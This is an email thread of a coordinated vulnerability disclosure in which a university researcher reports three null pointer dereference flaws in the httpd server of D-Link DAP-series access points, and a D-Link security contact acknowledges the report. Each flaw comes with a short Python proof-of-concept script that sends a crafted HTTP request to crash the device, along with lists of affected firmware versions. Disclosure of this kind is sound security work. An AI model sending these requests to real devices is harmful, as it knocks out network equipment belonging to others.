Re: Vulnerability report on DAP-series routers

William Brown <william.brown@dlink.com>
周一 2021/1/25 14:06
收件人: Zheng Yaowen <yaowen.zheng@ntu.edu.sg>

I just discussed this issue with R&D, I should have updates later this week.

Thank you for your patients,
Regards,
William Brown

William Brown January 11, 2021 at 8:51 PM

Thank you for the report.

I will raise it to our R&D for validation and plan of correction.

These production is going through some firmware patches that are related, and some may have been addressed.

I will reply once I have further information.

Regards,
William Brown
D-Link US SIRT

Zheng Yaowen January 3, 2021 at 8:07 AM

Dear Sir/Madam,

I'm writing this letter to report three security issues found in the DAP-series routers.
The following are the details, and I'm looking forward to your reply.

#vul 1#
null pointer dereference vulnerability exists in the 'upload_certificate' function of sbin/httpd binary.
When the binary handle the specific HTTP GET request, the strrchr in 'upload_certificate' function would take NULL as first argument, and incur the null pointer dereference vulnerability.

POC:

```
----------------------------------------------------------------------------------------------------
-------------------
import socket
import struct

buf = "GET /upload_certificate_int HTTP/1.1\r\n"
buf+= "Host: xxxxx\r\n"
buf+="Content-Length: 13\r\n\r\ntest=test\r\n\r\n"
```

```
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.50", 80))
s.send(buf)

print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.50", 80))
s.send(buf)
----------------------------------------------------------------------------------------------------
-------------------
```

'upload_certificate' in PoC could be replaced by 'upload_ca' or 'upload_privatekey_int'

#vul 2#
null pointer dereference vulnerability exists in the 'upload_config' function of sbin/httpd binary.
When the binary handle the specific HTTP GET request, the content in upload_file variable is NULL in 'upload_config' function then the strncasecmp would take NULL as first argument, and incur the null pointer dereference vulnerability.

POC:

```
----------------------------------------------------------------------------------------------------
-------------------
import socket
import struct

buf = "GET /upload_config_int HTTP/1.1\r\n"
buf+= "Host: xxxxx\r\n"
buf+="Content-Length: 13\r\n\r\ntest=test\r\n\r\n"

print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.50", 80))
s.send(buf)
----------------------------------------------------------------------------------------------------
-------------------
```

For vul 1 and vul 2
The lists of affected models (version) are:
DAP-2310 2.07.RC031
DAP-2330 1.07.RC028
DAP-2360 2.07.RC043
DAP-2553 3.06.RC027
DAP-2660 1.13.RC074 (HoT Fix)
DAP-2690 3.16.RC100
DAP-2695 1.17.RC063
DAP-3320 1.01.RC014
DAP-3662 1.01.RC022

#vul3#
Null pointer dereference vulnerability exists in the sbin/httpd binary.
The crash happens at ‘atoi’ operation when specific network package are sent to the httpd binary

POC:

```
----------------------------------------------------------------------------------------------------
------------------

import socket
import struct

buf = "GET /session_login.php HTTP/1.1\r\n"
buf+= "Content-Type:multipart/form-data; boundary=\r\n"
buf+= "Host: xxxxx\r\n\r\n"

print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.50", 80))
s.send(buf)
print buf
----------------------------------------------------------------------------------------------------
------------------
```

The list of affected version. the newer version may also be vulnerable, we do not test them yet.
DAP-2310 2.10RC039 and earlier
DAP-2330 1.10RC036 BETA and earlier
DAP-2360 2.10RC055 and earlier
DAP-2553 3.10rc039 BETA and earlier
DAP-2660 1.15rc131b and earlier
DAP-2690 3.20RC115 BETA and earlier
DAP-2695 1.20RC093 and earlier
DAP-3320 1.05RC027 BETA and earlier
DAP-3662 krack patch 1.05rc069 beta and earlier

Best Regards,

Yaowen
Nanyang Technological University

CONFIDENTIALITY: This email is intended solely for the person(s) named and may be confidential and/or privileged. If you are not the intended recipient, please delete it, notify us and do not copy, use, or disclose its contents.
Towards a sustainable earth: Print only when necessary. Thank you.